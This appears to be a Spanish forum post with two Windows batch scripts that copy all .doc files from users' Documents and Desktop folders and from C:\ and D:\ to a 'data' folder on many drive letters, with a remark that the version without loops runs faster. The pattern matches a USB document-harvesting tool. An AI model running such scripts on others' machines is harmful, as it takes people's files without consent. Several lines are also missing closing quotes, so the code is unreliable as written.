Código:
@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc) DO (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Documents\" %%a IN (*.doc) DO (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Desktop\" %%a IN (*.doc) DO (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Escritorio\" %%a IN (*.doc) DO (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "C:\" %%a IN (*.doc) DO (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "D:\" %%a IN (*.doc) DO (copy /y "%%a" "%%#:\data\"))
al contrario si lo hago sin fors es mucho mas rapido el proceso
Código:
@echo off
REM -----------E-------------------
REM ARCHIVOS DOC WORD
copy "%userprofile%\Mis documentos\*.doc" "E:\data"
copy "%userprofile%\escritorio\*.doc" "E:\data"
copy "%userprofile%\Desktop\*.doc" "E:\data"
copy "%userprofile%\Documents\*.doc" "E:\data"
copy "C:\*.doc" "E:\data"
copy "D:\*.doc" "E:\data"
REM ARCHIVOS
REM ---------F--------------------
copy "%userprofile%\Mis documentos\*.doc" "F:\data"
copy "%userprofile%\escritorio\*.doc" "F:\data"
copy "C:\*.doc" "F:\data"
copy "D:\*.doc" "F:\data
REM -------G----------------
copy "%userprofile%\Mis documentos\*.doc" "G:\data"
copy "%userprofile%\escritorio\*.doc" "G:\data"
copy "C:\*.doc" "G:\data"
copy "D:\*.doc" "G:\data
REM -------H-----------
copy "%userprofile%\Mis documentos\*.doc" "H:\data"
copy "%userprofile%\escritorio\*.doc" "H:\data"
copy "C:\*.doc" "H:\data"
copy "D:\*.doc" "H:\data
REM ----------I--------
copy "%userprofile%\Mis documentos\*.doc" "I:\data"
copy "%userprofile%\escritorio\*.doc" "I:\data"
copy "C:\*.doc" "I:\data"
copy "D:\*.doc" "I:\data
REM ------------J----------
copy "%userprofile%\Mis documentos\*.doc" "J:\data"
copy "%userprofile%\escritorio\*.doc" "J:\data"
copy "C:\*.doc" "J:\data"
copy "D:\*.doc" "J:\data
REM -------------------K------------------
copy "%userprofile%\Mis documentos\*.doc" "K:\data"
copy "%userprofile%\escritorio\*.doc" "K:\data"
copy "C:\*.doc" "K:\data"
copy "D:\*.doc" "K:\data
REM -------------------L------------------
copy "%userprofile%\Mis documentos\*.doc" "L:\data"
copy "%userprofile%\escritorio\*.doc" "L:\data"
copy "C:\*.doc" "L:\data"
copy "D:\*.doc" "L:\data
REM -------------------W------------------
copy "%userprofile%\Mis documentos\*.doc" "W:\data"
copy "%userprofile%\escritorio\*.doc" "W:\data"
copy "C:\*.doc" "W:\data"
copy "D:\*.doc" "W:\data